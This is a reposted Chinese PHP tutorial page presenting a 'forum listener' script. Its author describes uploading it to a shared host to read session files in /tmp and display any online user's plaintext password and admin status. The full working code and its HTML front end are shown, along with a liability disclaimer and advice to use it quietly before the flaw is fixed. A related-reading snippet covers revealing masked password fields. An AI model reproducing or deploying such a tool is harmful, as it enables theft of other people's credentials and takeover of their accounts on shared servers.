一个查看session内容的函数

2016-01-29 14:57 4 1 收藏

一个查看session内容的函数,一个查看session内容的函数

【 tulaoshi.com - PHP 】

  之所以是能写出来这个函数,主要是对该网站的session结构清楚,如:name|s:4:"tasm";passwd|s:6:"111111";mode|s:1:"1",也知道该session存放的位置,而且可以上传文件,所以嘛,当时就做了一次小小的黑客,在线的朋友的密码可以一览无余,呵呵:
<?
function submit1(){
global $username;
print "<title论坛监听器</title";
$i=0;
if($username=="tasm"||$username=="Tasm")
{
print "你也太黑了吧?连我你也查?";
  return;
}
$path="/tmp/";
$d = dir($path);
while($entry=$d-read()){
if(substr($entry,0,4)=="sess"){
$entry=$path.$entry;
$ary=@file($entry);
if(!empty($ary[0])){
$ary = explode(";",$ary[0]);
$name= explode(":",$ary[0]);
if($name[2]==""".$username."""){
$passwd= explode(":",$ary[1]);
$mode=explode(":",$ary[3]);
print "用户笔名:".$name[2]."<br使用密码:".$passwd[2]."<br使用模式:";
if($mode[1]==1)
print "<font color=red管理员</font";
else
print "一般用户";
print"<br<br偷窃他人密码是不道德行为请少少为之<br";
$i=1;
break;
}}}}
if(!$i)
print "用户:".$username."真的在线吗?如你确定,<a href='javascript:history.go(-1)'请再来一次</a,不要多打空格!";
$d-close();
}

function login(){
?
<html
<head
<title论坛监听器</title
<meta http-equiv="Content-Type" content="text/html; charset=gb2312"
</head
<body bgcolor="#FFFFFF"
<div align="center"
<p论坛监听器 </p
<p </p
<table width="500" border="0" cellspacing="0" cellpadding="0"
<tr
<td colspan="2"当你看到一用户在线时你想看他的密码,你要如何作呢?</td
</tr
<tr
<td colspan="2"让我来告诉你:就是使用本程序。</td
</tr
<tr
<td colspan="2"<font color=red郑重申明:本程序为自由程序,由它所造成的任何损失本人盖不负责。</font
<br不过这个问题也许很快就会被堵上,个位还是不要张扬的偷着用吧。</td
</tr
</table
<form name="form1" method="post" action="<?print $PHP_SELF ?"
<p请输入你要查的用户名:<br
<input type="text" name="username"
</p
<p
<input type="submit" name="submit1" value="我同意以上申明,开始查找"
</p
</form
<p </p
</div
</body
</html
<?
}
//--------------main()
if($submit1)
submit1();
else
login();
?
 

来源:https://www.tulaoshi.com/n/20160129/1494850.html

延伸阅读
现在有很多软件都有密码输入对话框。上面显示的是*标识符。如果想查看其字符串并不难。下面我们就用delphi使用API函数来开发一个查看其密码字符的程序吧。 功能:当鼠标移动到密码处就会在程序的指定地方显示其字符串。 问题一:当鼠标移动到密码对话框处时查找出此处的控件句柄。这样才可以对这个对象进行操作.具体实现如下: ...
标签: Web开发
select id="Year" name="Year"option value=""/option/select年 select id="Month" name="Month"/select月 select id="Day" name="Day"/select日br / select id="iYear" name="iYear"option value=""/option/select年 select id="iMonth" name="iMonth"/select月select id...
标签: Web开发
代码如下: String.prototype.replaceAll = function(s1,s2){ return this.replace(new RegExp(s1,"gm"),s2); }; (function($){ /* * $-layer 0.1 - jquery pulg-in * * Copyright (c) 2008 King Wong * $Date: 2008-09-28 $ */ var ___win___ = window.self; var ___self___ = window.self; var ___id___ = ""; var ___settings...
因查询统计需要,今天早上在SQLSERVER里写了一个类似于Split的函数,如下 create function f_split(@SourceSql varchar(8000),@StrSeprate varchar(10)) returns @temp table(a varchar(100)) --实现split功能 的函数 --date    :2005-4-20 --Author :Domino as begin     declare @i int   &nb...
标签: Web开发
/** 作者:慈勤强 Email: cqq1978@Gmail.com */ 函数很简单, 主要是针对字符串和数字两种类型的传入数据分别进行了处理,具体用法: 字符类型的 strUsername = CheckInput(Request(“username“),“s“) 数字类型的 ID = CheckInput(Request(“id“),“i“) 下面是函数 Function CheckInput...

经验教程

87

收藏

84
微博分享 QQ分享 QQ空间 手机页面 收藏网站 回到头部